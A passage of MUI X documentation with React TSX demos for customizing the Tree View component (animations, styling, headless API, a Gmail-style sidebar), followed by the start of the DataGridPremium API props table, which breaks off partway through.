          <CustomTreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
        </CustomTreeItem>
      </SimpleTreeView>
    </Box>
  );
}

```

### Custom toggle animations

Use the `groupTransition` slot on `SimpleTreeView` to pass a component that handles your animation.

The demo below is animated using Material UI's [`Collapse`](/material-ui/transitions/#collapse) component together with the [react-spring](https://www.react-spring.dev/) library.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Collapse from '@mui/material/Collapse';
import { TransitionProps } from '@mui/material/transitions';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem, TreeItemProps } from '@mui/x-tree-view/TreeItem';
import { useSpring, animated } from '@react-spring/web';

function TransitionComponent(props: TransitionProps) {
  const style = useSpring({
    to: {
      opacity: props.in ? 1 : 0,
      transform: `translate3d(${props.in ? 0 : 20}px,0,0)`,
    },
  });

  return (
    <animated.div style={style}>
      <Collapse {...props} />
    </animated.div>
  );
}

const CustomTreeItem = React.forwardRef(
  (props: TreeItemProps, ref: React.Ref<HTMLLIElement>) => (
    <TreeItem
      {...props}
      slots={{ groupTransition: TransitionComponent, ...props.slots }}
      ref={ref}
    />
  ),
);

export default function CustomAnimation() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 250 }}>
      <SimpleTreeView defaultExpandedItems={['grid']}>
        <CustomTreeItem itemId="grid" label="Data Grid">
          <CustomTreeItem itemId="grid-community" label="@mui/x-data-grid" />
          <CustomTreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
          <CustomTreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
        </CustomTreeItem>
        <CustomTreeItem itemId="pickers" label="Date and Time Pickers">
          <CustomTreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
          <CustomTreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
        </CustomTreeItem>
        <CustomTreeItem itemId="charts" label="Charts">
          <CustomTreeItem itemId="charts-community" label="@mui/x-charts" />
        </CustomTreeItem>
        <CustomTreeItem itemId="tree-view" label="Tree View">
          <CustomTreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
        </CustomTreeItem>
      </SimpleTreeView>
    </Box>
  );
}

```

### Custom styling

Use `treeItemClasses` to target internal elements of a `TreeItem` and change its styles.

```tsx
import Box from '@mui/material/Box';
import { styled, alpha } from '@mui/material/styles';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem, treeItemClasses } from '@mui/x-tree-view/TreeItem';

const CustomTreeItem = styled(TreeItem)(({ theme }) => ({
  color: theme.palette.grey[200],
  [`& .${treeItemClasses.content}`]: {
    borderRadius: theme.spacing(0.5),
    padding: theme.spacing(0.5, 1),
    margin: theme.spacing(0.2, 0),
    [`& .${treeItemClasses.label}`]: {
      fontSize: '0.8rem',
      fontWeight: 500,
    },
  },
  [`& .${treeItemClasses.iconContainer}`]: {
    borderRadius: '50%',
    backgroundColor: theme.palette.primary.dark,
    padding: theme.spacing(0, 1.2),
    ...theme.applyStyles('light', {
      backgroundColor: alpha(theme.palette.primary.main, 0.25),
    }),
    ...theme.applyStyles('dark', {
      color: theme.palette.primary.contrastText,
    }),
  },
  [`& .${treeItemClasses.groupTransition}`]: {
    marginLeft: 15,
    paddingLeft: 18,
    borderLeft: `1px dashed ${alpha(theme.palette.text.primary, 0.4)}`,
  },
  ...theme.applyStyles('light', {
    color: theme.palette.grey[800],
  }),
}));

export default function CustomStyling() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 250 }}>
      <SimpleTreeView defaultExpandedItems={['grid']}>
        <CustomTreeItem itemId="grid" label="Data Grid">
          <CustomTreeItem itemId="grid-community" label="@mui/x-data-grid" />
          <CustomTreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
          <CustomTreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
        </CustomTreeItem>
        <CustomTreeItem itemId="pickers" label="Date and Time Pickers">
          <CustomTreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
          <CustomTreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
        </CustomTreeItem>
        <CustomTreeItem itemId="charts" label="Charts">
          <CustomTreeItem itemId="charts-community" label="@mui/x-charts" />
        </CustomTreeItem>
        <CustomTreeItem itemId="tree-view" label="Tree View">
          <CustomTreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
        </CustomTreeItem>
      </SimpleTreeView>
    </Box>
  );
}

```

### Custom Tree Item

You can use the `TreeItem` customization API to build new layouts and manage behaviors.

See [Tree Item customization](/x/react-tree-view/tree-item-customization/) to learn more about the anatomy of `TreeItem` and the customization utilities provided.

### Headless API

Use the `useTreeItem()` hook to create your own component.
The demo below shows how to add an avatar and custom typography elements.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Avatar from '@mui/material/Avatar';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { useTreeItem, UseTreeItemParameters } from '@mui/x-tree-view/useTreeItem';
import {
  TreeItemContent,
  TreeItemIconContainer,
  TreeItemGroupTransition,
  TreeItemLabel,
  TreeItemRoot,
  TreeItemCheckbox,
} from '@mui/x-tree-view/TreeItem';
import { TreeItemIcon } from '@mui/x-tree-view/TreeItemIcon';
import { TreeItemProvider } from '@mui/x-tree-view/TreeItemProvider';

interface CustomTreeItemProps
  extends
    Omit<UseTreeItemParameters, 'rootRef'>,
    Omit<React.HTMLAttributes<HTMLLIElement>, 'onFocus'> {}

const CustomTreeItem = React.forwardRef(function CustomTreeItem(
  props: CustomTreeItemProps,
  ref: React.Ref<HTMLLIElement>,
) {
  const { id, itemId, label, disabled, children, ...other } = props;

  const {
    getContextProviderProps,
    getRootProps,
    getContentProps,
    getIconContainerProps,
    getCheckboxProps,
    getLabelProps,
    getGroupTransitionProps,
    status,
  } = useTreeItem({ id, itemId, children, label, disabled, rootRef: ref });

  return (
    <TreeItemProvider {...getContextProviderProps()}>
      <TreeItemRoot {...getRootProps(other)}>
        <TreeItemContent {...getContentProps()}>
          <TreeItemIconContainer {...getIconContainerProps()}>
            <TreeItemIcon status={status} />
          </TreeItemIconContainer>
          <TreeItemCheckbox {...getCheckboxProps()} />
          <Box sx={{ flexGrow: 1, display: 'flex', gap: 1 }}>
            <Avatar
              sx={(theme) => ({
                background: theme.palette.primary.main,
                width: 24,
                height: 24,
                fontSize: '0.8rem',
              })}
            >
              {(label as string)[0]}
            </Avatar>
            <TreeItemLabel {...getLabelProps()} />
          </Box>
        </TreeItemContent>
        {children && <TreeItemGroupTransition {...getGroupTransitionProps()} />}
      </TreeItemRoot>
    </TreeItemProvider>
  );
});

export default function HeadlessAPI() {
  return (
    <Box sx={{ minHeight: 200, minWidth: 250 }}>
      <SimpleTreeView defaultExpandedItems={['3']}>
        <CustomTreeItem itemId="1" label="Amelia Hart">
          <CustomTreeItem itemId="2" label="Jane Fisher" />
        </CustomTreeItem>
        <CustomTreeItem itemId="3" label="Bailey Monroe">
          <CustomTreeItem itemId="4" label="Freddie Reed" />
          <CustomTreeItem itemId="5" label="Georgia Johnson">
            <CustomTreeItem itemId="6" label="Samantha Malone" />
          </CustomTreeItem>
        </CustomTreeItem>
      </SimpleTreeView>
    </Box>
  );
}

```

## Common examples

### Connection border

Target the `treeItemClasses.groupTransition` class to add connection borders between `TreeItem` components.

```tsx
import * as React from 'react';
import IndeterminateCheckBoxRoundedIcon from '@mui/icons-material/IndeterminateCheckBoxRounded';
import DisabledByDefaultRoundedIcon from '@mui/icons-material/DisabledByDefaultRounded';
import AddBoxRoundedIcon from '@mui/icons-material/AddBoxRounded';
import { styled, alpha } from '@mui/material/styles';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem, treeItemClasses } from '@mui/x-tree-view/TreeItem';

const CustomTreeItem = styled(TreeItem)(({ theme }) => ({
  [`& .${treeItemClasses.content}`]: {
    padding: theme.spacing(0.5, 1),
    margin: theme.spacing(0.2, 0),
  },
  [`& .${treeItemClasses.iconContainer}`]: {
    '& .close': {
      opacity: 0.3,
    },
  },
  [`& .${treeItemClasses.groupTransition}`]: {
    marginLeft: 15,
    paddingLeft: 18,
    borderLeft: `1px dashed ${alpha(theme.palette.text.primary, 0.4)}`,
  },
}));

function ExpandIcon(props: React.PropsWithoutRef<typeof AddBoxRoundedIcon>) {
  return <AddBoxRoundedIcon {...props} sx={{ opacity: 0.8 }} />;
}

function CollapseIcon(
  props: React.PropsWithoutRef<typeof IndeterminateCheckBoxRoundedIcon>,
) {
  return <IndeterminateCheckBoxRoundedIcon {...props} sx={{ opacity: 0.8 }} />;
}

function EndIcon(props: React.PropsWithoutRef<typeof DisabledByDefaultRoundedIcon>) {
  return <DisabledByDefaultRoundedIcon {...props} sx={{ opacity: 0.3 }} />;
}

export default function BorderedTreeView() {
  return (
    <SimpleTreeView
      aria-label="customized"
      defaultExpandedItems={['1', '3']}
      slots={{
        expandIcon: ExpandIcon,
        collapseIcon: CollapseIcon,
        endIcon: EndIcon,
      }}
      sx={{ overflowX: 'hidden', minHeight: 270, flexGrow: 1, maxWidth: 300 }}
    >
      <CustomTreeItem itemId="1" label="Main">
        <CustomTreeItem itemId="2" label="Hello" />
        <CustomTreeItem itemId="3" label="Subtree with children">
          <CustomTreeItem itemId="6" label="Hello" />
          <CustomTreeItem itemId="7" label="Sub-subtree with children">
            <CustomTreeItem itemId="9" label="Child 1" />
            <CustomTreeItem itemId="10" label="Child 2" />
            <CustomTreeItem itemId="11" label="Child 3" />
          </CustomTreeItem>
          <CustomTreeItem itemId="8" label="Hello" />
        </CustomTreeItem>
        <CustomTreeItem itemId="4" label="World" />
        <CustomTreeItem itemId="5" label="Something something" />
      </CustomTreeItem>
    </SimpleTreeView>
  );
}

```

### Gmail clone

The Gmail sidebar is one of the most well-known examples of a tree view.
The demo below shows how to recreate it with `SimpleTreeView`:

```tsx
import * as React from 'react';
import { styled, alpha } from '@mui/material/styles';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import MailIcon from '@mui/icons-material/Mail';
import DeleteIcon from '@mui/icons-material/Delete';
import Label from '@mui/icons-material/Label';
import SupervisorAccountIcon from '@mui/icons-material/SupervisorAccount';
import InfoIcon from '@mui/icons-material/Info';
import ForumIcon from '@mui/icons-material/Forum';
import LocalOfferIcon from '@mui/icons-material/LocalOffer';
import ArrowDropDownIcon from '@mui/icons-material/ArrowDropDown';
import ArrowRightIcon from '@mui/icons-material/ArrowRight';
import { SvgIconProps } from '@mui/material/SvgIcon';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import {
  TreeItemContent,
  TreeItemIconContainer,
  TreeItemRoot,
  TreeItemGroupTransition,
} from '@mui/x-tree-view/TreeItem';
import { useTreeItem, UseTreeItemParameters } from '@mui/x-tree-view/useTreeItem';
import { TreeItemProvider } from '@mui/x-tree-view/TreeItemProvider';
import { TreeItemIcon } from '@mui/x-tree-view/TreeItemIcon';

declare module 'react' {
  interface CSSProperties {
    '--tree-view-color'?: string;
    '--tree-view-bg-color'?: string;
  }
}

interface StyledTreeItemProps
  extends
    Omit<UseTreeItemParameters, 'rootRef'>,
    React.HTMLAttributes<HTMLLIElement> {
  bgColor?: string;
  bgColorForDarkMode?: string;
  color?: string;
  colorForDarkMode?: string;
  labelIcon: React.ElementType<SvgIconProps>;
  labelInfo?: string;
}

type CustomTreeItemRootOwnerState = Pick<
  StyledTreeItemProps,
  'color' | 'bgColor' | 'colorForDarkMode' | 'bgColorForDarkMode'
>;

const CustomTreeItemRoot = styled(TreeItemRoot)<{
  ownerState: CustomTreeItemRootOwnerState;
}>(({ theme, ownerState }) => ({
  '--tree-view-color': ownerState.color,
  '--tree-view-bg-color': ownerState.bgColor,
  color: (theme.vars || theme).palette.text.secondary,
  ...theme.applyStyles('dark', {
    '--tree-view-color': ownerState.colorForDarkMode,
    '--tree-view-bg-color': ownerState.bgColorForDarkMode,
  }),
}));

const CustomTreeItemContent = styled(TreeItemContent)(({ theme }) => ({
  marginBottom: theme.spacing(0.3),
  color: (theme.vars || theme).palette.text.secondary,
  borderRadius: theme.spacing(2),
  paddingRight: theme.spacing(1),
  paddingLeft: `calc(${theme.spacing(1)} + var(--TreeView-itemChildrenIndentation) * var(--TreeView-itemDepth))`,
  fontWeight: theme.typography.fontWeightMedium,
  '&[data-expanded]': {
    fontWeight: theme.typography.fontWeightRegular,
  },
  '&:hover': {
    backgroundColor: (theme.vars || theme).palette.action.hover,
  },
  '&[data-focused], &[data-selected], &[data-selected][data-focused]': {
    backgroundColor: `var(--tree-view-bg-color, ${(theme.vars || theme).palette.action.selected})`,
    color: 'var(--tree-view-color)',
  },
}));

const CustomTreeItemIconContainer = styled(TreeItemIconContainer)(({ theme }) => ({
  marginRight: theme.spacing(1),
}));

const CustomTreeItem = React.forwardRef(function CustomTreeItem(
  props: StyledTreeItemProps,
  ref: React.Ref<HTMLLIElement>,
) {
  const {
    id,
    itemId,
    label,
    disabled,
    children,
    bgColor,
    color,
    labelIcon: LabelIcon,
    labelInfo,
    colorForDarkMode,
    bgColorForDarkMode,
    ...other
  } = props;

  const {
    getContextProviderProps,
    getRootProps,
    getContentProps,
    getIconContainerProps,
    getLabelProps,
    getGroupTransitionProps,
    status,
  } = useTreeItem({ id, itemId, children, label, disabled, rootRef: ref });

  const treeItemRootOwnerState = {
    color,
    bgColor,
    colorForDarkMode,
    bgColorForDarkMode,
  };

  return (
    <TreeItemProvider {...getContextProviderProps()}>
      <CustomTreeItemRoot
        {...getRootProps(other)}
        ownerState={treeItemRootOwnerState}
      >
        <CustomTreeItemContent {...getContentProps()}>
          <CustomTreeItemIconContainer {...getIconContainerProps()}>
            <TreeItemIcon status={status} />
          </CustomTreeItemIconContainer>
          <Box
            sx={{
              display: 'flex',
              flexGrow: 1,
              alignItems: 'center',
              p: 0.5,
              pr: 0,
            }}
          >
            <Box component={LabelIcon} color="inherit" sx={{ mr: 1 }} />
            <Typography
              {...getLabelProps({
                variant: 'body2',
                sx: { display: 'flex', fontWeight: 'inherit', flexGrow: 1 },
              })}
            />
            <Typography variant="caption" color="inherit">
              {labelInfo}
            </Typography>
          </Box>
        </CustomTreeItemContent>
        {children && <TreeItemGroupTransition {...getGroupTransitionProps()} />}
      </CustomTreeItemRoot>
    </TreeItemProvider>
  );
});

function EndIcon() {
  return <div style={{ width: 24 }} />;
}

export default function GmailTreeView() {
  return (
    <SimpleTreeView
      aria-label="gmail"
      defaultExpandedItems={['3']}
      defaultSelectedItems="5"
      slots={{
        expandIcon: ArrowRightIcon,
        collapseIcon: ArrowDropDownIcon,
        endIcon: EndIcon,
      }}
      sx={{ flexGrow: 1, maxWidth: 400 }}
      itemChildrenIndentation={20}
    >
      <CustomTreeItem itemId="1" label="All Mail" labelIcon={MailIcon} />
      <CustomTreeItem itemId="2" label="Trash" labelIcon={DeleteIcon} />
      <CustomTreeItem itemId="3" label="Categories" labelIcon={Label}>
        <CustomTreeItem
          itemId="5"
          label="Social"
          labelIcon={SupervisorAccountIcon}
          labelInfo="90"
          color="#1a73e8"
          bgColor="#e8f0fe"
          colorForDarkMode="#B8E7FB"
          bgColorForDarkMode={alpha('#00b4ff', 0.2)}
        />
        <CustomTreeItem
          itemId="6"
          label="Updates"
          labelIcon={InfoIcon}
          labelInfo="2,294"
          color="#e3742f"
          bgColor="#fcefe3"
          colorForDarkMode="#FFE2B7"
          bgColorForDarkMode={alpha('#ff8f00', 0.2)}
        />
        <CustomTreeItem
          itemId="7"
          label="Forums"
          labelIcon={ForumIcon}
          labelInfo="3,566"
          color="#a250f5"
          bgColor="#f3e8fd"
          colorForDarkMode="#D9B8FB"
          bgColorForDarkMode={alpha('#9035ff', 0.15)}
        />
        <CustomTreeItem
          itemId="8"
          label="Promotions"
          labelIcon={LocalOfferIcon}
          labelInfo="733"
          color="#3c8039"
          bgColor="#e6f4ea"
          colorForDarkMode="#CCE8CD"
          bgColorForDarkMode={alpha('#64ff6a', 0.2)}
        />
      </CustomTreeItem>
      <CustomTreeItem itemId="4" label="History" labelIcon={Label} />
    </SimpleTreeView>
  );
}

```

---

# Source: https://mui.com/x/api/data-grid/data-grid-premium.md

# DataGridPremium API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [DataGrid](/x/react-data-grid/#community-version-free-forever)
- [DataGridPro](/x/react-data-grid/#pro-version)
- [DataGridPremium](/x/react-data-grid/#premium-version)

## Import

```jsx
import { DataGridPremium } from '@mui/x-data-grid-premium/DataGridPremium';
// or
import { DataGridPremium } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| columns | `Array<object>` | - | Yes |  |
| activeChartId | `string` | - | No |  |
| aggregationFunctions | `object` | `GRID_AGGREGATION_FUNCTIONS when `dataSource` is not provided, `{}` when `dataSource` is provided` | No |  |
| aggregationModel | `object` | - | No |  |
| aggregationRowsScope | `'all' \| 'filtered'` | `"filtered"` | No |  |
| aiAssistant | `bool` | `false` | No |  |
| aiAssistantActiveConversationIndex | `number` | - | No |  |
| aiAssistantConversations | `Array<{ id?: string, prompts: Array<{ createdAt: Date, helperText?: string, response?: { aggregation: object, chart?: object, conversationId: string, filterOperator?: 'and' \| 'or', filters: Array<object>, grouping: Array<object>, pivoting: object, select: number, sorting: Array<object> }, value: string, variant?: 'error' \| 'processing' \| 'success' }>, title?: string }>` | - | No |  |
| aiAssistantSuggestions | `Array<{ value: string }>` | - | No |  |
| allowAiAssistantDataSampling | `bool` | - | No |  |
| apiRef | `{ current?: object }` | - | No |  |
| aria-label | `string` | - | No |  |
| aria-labelledby | `string` | - | No |  |
| autoHeight | `bool` | `false` | No |  |
| autoPageSize | `bool` | `false` | No |  |
| autosizeOnMount | `bool` | `false` | No |  |
| autosizeOptions | `{ columns?: Array<string>, disableColumnVirtualization?: bool, expand?: bool, includeHeaderFilters?: bool, includeHeaders?: bool, includeOutliers?: bool, outliersFactor?: number }` | - | No |  |
| cellModesModel | `object` | - | No |  |
| cellSelection | `bool` | `false` | No |  |
| cellSelectionModel | `object` | - | No |  |
| chartsIntegration | `bool` | `false` | No |  |
| checkboxSelection | `bool` | `false` | No |  |
| checkboxSelectionVisibleOnly | `bool` | `false` | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| clipboardCopyCellDelimiter | `string` | `'\t'` | No |  |
| columnBufferPx | `number` | `150` | No |  |
| columnFilterDebounceMs | `number` | `150` | No |  |
| columnGroupHeaderHeight | `number` | - | No |  |
| columnHeaderHeight | `number` | `56` | No |  |
| columnVisibilityModel | `object` | - | No |  |
| dataSource | `{ getAggregatedValue?: func, getChildrenCount?: func, getGroupKey?: func, getRows: func, updateRow?: func }` | - | No |  |
| dataSourceCache | `{ clear: func, get: func, set: func }` | - | No |  |
| defaultGroupingExpansionDepth | `number` | `0` | No |  |
| density | `'comfortable' \| 'compact' \| 'standard'` | `"standard"` | No |  |
| detailPanelExpandedRowIds | `Set` | - | No |  |
| disableAggregation | `bool` | `false` | No |  |
| disableAutosize | `bool` | `false` | No |  |
| disableChildrenFiltering | `bool` | `false` | No |  |
| disableChildrenSorting | `bool` | `false` | No |  |
| disableClipboardPaste | `bool` | `false` | No |  |
| disableColumnFilter | `bool` | `false` | No |  |
| disableColumnMenu | `bool` | `false` | No |  |
| disableColumnPinning | `bool` | `false` | No |  |
| disableColumnReorder | `bool` | `false` | No |  |
| disableColumnResize | `bool` | `false` | No |  |
| disableColumnSelector | `bool` | `false` | No |  |
| disableColumnSorting | `bool` | `false` | No |  |
| disableDensitySelector | `bool` | `false` | No |  |
| disableEval | `bool` | `false` | No |  |
| disableMultipleColumnsFiltering | `bool` | `false` | No |  |
| disableMultipleColumnsSorting | `bool` | `false` | No |  |
| disableMultipleRowSelection | `bool` | `false (`!props.checkboxSelection` for MIT Data Grid)` | No |  |
| disablePivoting | `bool` | `false` | No |  |
| disableRowGrouping | `bool` | `false` | No |  |
| disableRowSelectionExcludeModel | `bool` | `false` | No |  |
| disableRowSelectionOnClick | `bool` | `false` | No |  |
| disableVirtualization | `bool` | `false` | No |  |
| editMode | `'cell' \| 'row'` | `"cell"` | No |  |
| estimatedRowCount | `number` | - | No |  |
| experimentalFeatures | `{ charts?: bool, warnIfFocusStateIsNotSynced?: bool }` | - | No |  |
| filterDebounceMs | `number` | `150` | No |  |
| filterMode | `'client' \| 'server'` | `"client"` | No |  |
| filterModel | `{ items: Array<{ field: string, id?: number \| string, operator: string, value?: any }>, logicOperator?: 'and' \| 'or', quickFilterExcludeHiddenColumns?: bool, quickFilterLogicOperator?: 'and' \| 'or', quickFilterValues?: array }` | - | No |  |
| getAggregationPosition | `function(groupNode: GridGroupNode) => GridAggregationPosition \| null` | `(groupNode) => (groupNode.depth === -1 ? 'footer' : 'inline')` | No |  |
| getCellClassName | `function(params: GridCellParams) => string` | - | No |  |
| getDetailPanelContent | `function(params: GridRowParams) => React.JSX.Element` | - | No |  |
| getDetailPanelHeight | `function(params: GridRowParams) => number \| string` | `"() => 500"` | No |  |
| getEstimatedRowHeight | `function(params: GridRowHeightParams) => number \| null` | - | No |  |
| getPivotDerivedColumns | `function(column: GridColDef) => void` | - | No |  |
| getRowClassName | `function(params: GridRowClassNameParams) => string` | - | No |  |
| getRowHeight | `function(params: GridRowHeightParams) => GridRowHeightReturnValue` | - | No |  |
| getRowId | `func` | - | No |  |
| getRowSpacing | `function(params: GridRowSpacingParams) => GridRowSpacing` | - | No |  |
| getTreeDataPath | `function(row: R) => Array<string>` | - | No |  |
| groupingColDef | `func \| object` | - | No |  |
| headerFilterHeight | `number` | - | No |  |
| headerFilters | `bool` | `false` | No |  |
| hideFooter | `bool` | `false` | No |  |
| hideFooterPagination | `bool` | `false` | No |  |
| hideFooterRowCount | `bool` | `false` | No |  |
| hideFooterSelectedRowCount | `bool` | `false` | No |  |
| historyEventHandlers | `object` | `Handlers for `rowEditStop`, `cellEditStop` and `clipboardPasteEnd` events` | No |  |
| historyStackSize | `number` | `30` | No |  |
| historyValidationEvents | `Array<'activeChartIdChange' \| 'activeStrategyProcessorChange' \| 'aggregationLookupSet' \| 'aggregationModelChange' \| 'aiAssistantActiveConversationIndexChange' \| 'aiAssistantConversationsChange' \| 'cellClick' \| 'cellDoubleClick' \| 'cellDragEnter' \| 'cellDragOver' \| 'cellEditStart' \| 'cellEditStop' \| 'cellFocusIn' \| 'cellFocusOut' \| 'cellKeyDown' \| 'cellKeyUp' \| 'cellModeChange' \| 'cellModesModelChange' \| 'cellMouseDown' \| 'cellMouseOver' \| 'cellMouseUp' \| 'cellSelectionChange' \| 'chartSynchronizationStateChange' \| 'clipboardCopy' \| 'clipboardPasteEnd' \| 'clipboardPasteStart' \| 'columnGroupHeaderBlur' \| 'columnGroupHeaderFocus' \| 'columnGroupHeaderKeyDown' \| 'columnHeaderBlur' \| 'columnHeaderClick' \| 'columnHeaderContextMenu' \| 'columnHeaderDoubleClick' \| 'columnHeaderDragEnd' \| 'columnHeaderDragEndNative' \| 'columnHeaderDragEnter' \| 'columnHeaderDragOver' \| 'columnHeaderDragStart' \| 'columnHeaderEnter' \| 'columnHeaderFocus' \| 'columnHeaderKeyDown' \| 'columnHeaderLeave' \| 'columnHeaderOut' \| 'columnHeaderOver' \| 'columnIndexChange' \| 'columnOrderChange' \| 'columnResize' \| 'columnResizeStart' \| 'columnResizeStop' \| 'columnsChange' \| 'columnSeparatorDoubleClick' \| 'columnSeparatorMouseDown' \| 'columnVisibilityModelChange' \| 'columnWidthChange' \| 'debouncedResize' \| 'densityChange' \| 'detailPanelsExpandedRowIdsChange' \| 'excelExportStateChange' \| 'fetchRows' \| 'filteredRowsSet' \| 'filterModelChange' \| 'headerFilterBlur' \| 'headerFilterClick' \| 'headerFilterKeyDown' \| 'headerFilterMouseDown' \| 'headerSelectionCheckboxChange' \| 'menuClose' \| 'menuOpen' \| 'paginationMetaChange' \| 'paginationModelChange' \| 'pinnedColumnsChange' \| 'pivotModeChange' \| 'pivotModelChange' \| 'pivotPanelOpenChange' \| 'preferencePanelClose' \| 'preferencePanelOpen' \| 'redo' \| 'renderedRowsIntervalChange' \| 'resize' \| 'rootMount' \| 'rowClick' \| 'rowCountChange' \| 'rowDoubleClick' \| 'rowDragEnd' \| 'rowDragOver' \| 'rowDragStart' \| 'rowEditStart' \| 'rowEditStop' \| 'rowExpansionChange' \| 'rowGroupingModelChange' \| 'rowModesModelChange' \| 'rowMouseEnter' \| 'rowMouseLeave' \| 'rowMouseOut' \| 'rowMouseOver' \| 'rowOrderChange' \| 'rowSelectionChange' \| 'rowSelectionCheckboxChange' \| 'rowsScrollEnd' \| 'rowsScrollEndIntersection' \| 'rowsSet' \| 'scrollPositionChange' \| 'sidebarClose' \| 'sidebarOpen' \| 'sortedRowsSet' \| 'sortModelChange' \| 'stateChange' \| 'strategyAvailabilityChange' \| 'undo' \| 'unmount' \| 'viewportInnerSizeChange' \| 'virtualScrollerContentSizeChange' \| 'virtualScrollerTouchMove' \| 'virtualScrollerWheel'>` | `['columnsChange', 'rowsSet', 'sortedRowsSet', 'filteredRowsSet', 'paginationModelChange']` | No |  |
| ignoreDiacritics | `bool` | `false` | No |  |
| ignoreValueFormatterDuringExport | `{ clipboardExport?: bool, csvExport?: bool } \| bool` | `false` | No |  |
| initialState | `object` | - | No |  |
| isCellEditable | `function(params: GridCellParams) => boolean` | - | No |  |
| isGroupExpandedByDefault | `function(node: GridGroupNode) => boolean` | - | No |  |
| isRowReorderable | `function(params: object, params.row: R, params.rowNode: GridTreeNode) => boolean` | - | No |  |
| isRowSelectable | `function(params: GridRowParams) => boolean` | - | No |  |
| isValidRowReorder | `function(context: ReorderValidationContext) => boolean` | - | No |  |
| keepColumnPositionIfDraggedOutside | `bool` | `false` | No |  |
| keepNonExistentRowsSelected | `bool` | `false` | No |  |
| label | `string` | - | No |  |
| lazyLoading | `bool` | `false` | No |  |
| lazyLoadingRequestThrottleMs | `number` | `500` | No |  |
| listView | `bool` | - | No |  |
| listViewColumn | `{ align?: 'center' \| 'left' \| 'right', cellClassName?: func \| string, display?: 'flex' \| 'text', field: string, renderCell?: func }` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| logger | `{ debug: func, error: func, info: func, warn: func }` | `console` | No |  |
| logLevel | `'debug' \| 'error' \| 'info' \| 'warn' \| false` | `"error" ("warn" in dev mode)` | No |  |
| multipleColumnsSortingMode | `'always' \| 'withModifierKey'` | `"withModifierKey"` | No |  |
| nonce | `string` | - | No |  |
| onActiveChartIdChange | `function(activeChartId: string) => void` | - | No |  |
| onAggregationModelChange | `function(model: GridAggregationModel, details: GridCallbackDetails) => void` | - | No |  |
| onAiAssistantActiveConversationIndexChange | `function(aiAssistantActiveConversationIndex: number) => void` | - | No |  |
| onAiAssistantConversationsChange | `function(conversations: Array<Conversation>) => void` | - | No |  |
| onBeforeClipboardPasteStart | `function(params: object) => void` | - | No |  |
| onCellClick | `function(params: GridCellParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onCellDoubleClick | `function(params: GridCellParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onCellEditStart | `function(params: GridCellParams, event: MuiEvent<React.KeyboardEvent \| React.MouseEvent>) => void` | - | No |  |
| onCellEditStop | `function(params: GridCellParams, event: MuiEvent<MuiBaseEvent>) => void` | - | No |  |
| onCellKeyDown | `function(params: GridCellParams, event: MuiEvent<React.KeyboardEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onCellModesModelChange | `function(cellModesModel: GridCellModesModel, details: GridCallbackDetails) => void` | - | No |  |
| onCellSelectionModelChange | `function(cellSelectionModel: GridCellSelectionModel, details: GridCallbackDetails) => void` | - | No |  |
| onClipboardCopy | `function(data: string) => void` | - | No |  |
| onClipboardPasteEnd | `func` | - | No |  |
| onClipboardPasteStart | `func` | - | No |  |
| onColumnHeaderClick | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnHeaderContextMenu | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>) => void` | - | No |  |
| onColumnHeaderDoubleClick | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnHeaderEnter | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnHeaderLeave | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnHeaderOut | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnHeaderOver | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnOrderChange | `function(params: GridColumnOrderChangeParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnResize | `function(params: GridColumnResizeParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnVisibilityModelChange | `function(model: GridColumnVisibilityModel, details: GridCallbackDetails) => void` | - | No |  |
| onColumnWidthChange | `function(params: GridColumnResizeParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onDataSourceError | `function(error: GridGetRowsError \| GridUpdateRowError) => void` | - | No |  |
| onDensityChange | `function(density: GridDensity) => void` | - | No |  |
| onDetailPanelExpandedRowIdsChange | `function(ids: Array<GridRowId>, details: GridCallbackDetails) => void` | - | No |  |
| onExcelExportStateChange | `function(inProgress: string) => void` | - | No |  |
